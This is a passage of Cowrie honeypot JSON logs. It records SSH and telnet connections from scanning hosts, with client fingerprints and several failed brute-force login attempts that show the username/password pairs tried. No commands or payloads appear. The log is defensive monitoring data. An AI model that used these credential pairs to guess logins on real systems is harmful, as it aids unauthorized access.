etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:38.400796Z","src_ip":"185.215.164.223","session":"127d2c8062fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dubai","password":"Dubai#Crypto$M@st3r!","message":"login attempt [dubai/Dubai#Crypto$M@st3r!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:38.691486Z","src_ip":"185.215.164.223","session":"127d2c8062fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:39.790031Z","src_ip":"185.215.164.223","session":"127d2c8062fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.38.30.39","src_port":42023,"dst_ip":"10.17.0.5","dst_port":23,"session":"33845b0c1d1d","protocol":"telnet","message":"New connection: 111.38.30.39:42023 (10.17.0.5:23) [session: 33845b0c1d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:44.512845Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":37168,"dst_ip":"159.203.135.109","dst_port":22,"session":"19b9e2e9ad0d","protocol":"ssh","message":"New connection: 159.65.58.200:37168 (159.203.135.109:22) [session: 19b9e2e9ad0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:48.495097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:48.701025Z","src_ip":"159.65.58.200","session":"19b9e2e9ad0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:48.704050Z","src_ip":"159.65.58.200","session":"19b9e2e9ad0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadygov","password":"123456","message":"login attempt [sadygov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:49.822381Z","src_ip":"159.65.58.200","session":"19b9e2e9ad0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:51.189924Z","src_ip":"159.65.58.200","session":"19b9e2e9ad0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":41758,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b95ac33e663","protocol":"ssh","message":"New connection: 182.93.7.194:41758 (159.203.135.109:22) [session: 3b95ac33e663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:55.792772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:55.797026Z","src_ip":"182.93.7.194","session":"3b95ac33e663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:56.012917Z","src_ip":"182.93.7.194","session":"3b95ac33e663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bh","password":"bh","message":"login attempt [bh/bh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:56.907763Z","src_ip":"182.93.7.194","session":"3b95ac33e663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:58.126333Z","src_ip":"182.93.7.194","session":"3b95ac33e663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.448273658752441,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:58.961006Z","src_ip":"111.38.30.39","session":"33845b0c1d1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52948,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb2903a9e94d","protocol":"telnet","message":"New connection: 170.64.224.25:52948 (159.203.135.109:23) [session: fb2903a9e94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:22.063168Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":56972,"dst_ip":"10.17.0.5","dst_port":22,"session":"9532c38f79e7","protocol":"ssh","message":"New connection: 144.91.108.61:56972 (10.17.0.5:22) [session: 9532c38f79e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:35.665053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:35.668139Z","src_ip":"144.91.108.61","session":"9532c38f79e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:35.760236Z","src_ip":"144.91.108.61","session":"9532c38f79e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pyth","password":"pyth999","message":"login attempt [pyth/pyth999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:36.038385Z","src_ip":"144.91.108.61","session":"9532c38f79e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:37.137847Z","src_ip":"144.91.108.61","session":"9532c38f79e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":14012,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2612ba1af9d","protocol":"ssh","message":"New connection: 38.93.206.2:14012 (159.203.135.109:22) [session: f2612ba1af9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:45.230897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:45.234655Z","src_ip":"38.93.206.2","session":"f2612ba1af9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:45.284624Z","src_ip":"38.93.206.2","session":"f2612ba1af9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3030","message":"login attempt [root/3030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:45.455236Z","src_ip":"38.93.206.2","session":"f2612ba1af9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:46.522228Z","src_ip":"38.93.206.2","session":"f2612ba1af9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":60156,"dst_ip":"159.203.135.109","dst_port":22,"session":"c49cce938395","protocol":"ssh","message":"New connection: 146.190.154.85:60156 (159.203.135.109:22) [session: c49cce938395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:47.005506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:47.009949Z","src_ip":"146.190.154.85","session":"c49cce938395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:47.079627Z","src_ip":"146.190.154.85","session":"c49cce938395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pai","password":"123456","message":"login attempt [pai/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:47.388694Z","src_ip":"146.190.154.85","session":"c49cce938395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:05:48.461347Z","src_ip":"146.190.154.85","session":"c49cce938395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":46240,"dst_ip":"159.203.135.109","dst_port":22,"session":"75c959620551","protocol":"ssh","message":"New connection: 173.236.141.65:46240 (159.203.135.109:22) [session: 75c959620551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:02.658457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:02.662697Z","src_ip":"173.236.141.65","session":"75c959620551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:02.674812Z","src_ip":"173.236.141.65","session":"75c959620551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"taiko2024","message":"login attempt [root/taiko2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:02.704451Z","src_ip":"173.236.141.65","session":"75c959620551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:03.717029Z","src_ip":"173.236.141.65","session":"75c959620551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":32960,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c73e36b1898","protocol":"telnet","message":"New connection: 170.64.224.25:32960 (159.203.135.109:23) [session: 4c73e36b1898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:18.613137Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55104,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0a59b4645e5","protocol":"telnet","message":"New connection: 170.64.224.25:55104 (159.203.135.109:23) [session: b0a59b4645e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:38.402913Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":51488,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b9fec06d35c","protocol":"ssh","message":"New connection: 91.92.40.4:51488 (10.17.0.5:22) [session: 0b9fec06d35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:42.199841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:42.203495Z","src_ip":"91.92.40.4","session":"0b9fec06d35c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:42.284708Z","src_ip":"91.92.40.4","session":"0b9fec06d35c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"p@ssw0rd","message":"login attempt [user/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:42.533869Z","src_ip":"91.92.40.4","session":"0b9fec06d35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:06:43.617876Z","src_ip":"91.92.40.4","session":"0b9fec06d35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.84208607673645,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:11.455107Z","src_ip":"170.64.224.25","session":"4c73e36b1898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44632,"dst_ip":"159.203.135.109","dst_port":23,"session":"782b1151f738","protocol":"telnet","message":"New connection: 170.64.224.25:44632 (159.203.135.109:23) [session: 782b1151f738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:15.049953Z"}
{"eventid":"cowrie.session.closed","duration":120.008296251297,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:22.071334Z","src_ip":"170.64.224.25","session":"fb2903a9e94d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44946,"dst_ip":"159.203.135.109","dst_port":23,"session":"5afe82379d17","protocol":"telnet","message":"New connection: 170.64.224.25:44946 (159.203.135.109:23) [session: 5afe82379d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:32.581938Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":45572,"dst_ip":"159.203.135.109","dst_port":22,"session":"b59fddbb3915","protocol":"ssh","message":"New connection: 146.190.154.85:45572 (159.203.135.109:22) [session: b59fddbb3915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:38.734276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:38.737820Z","src_ip":"146.190.154.85","session":"b59fddbb3915","protocol":"ssh"}
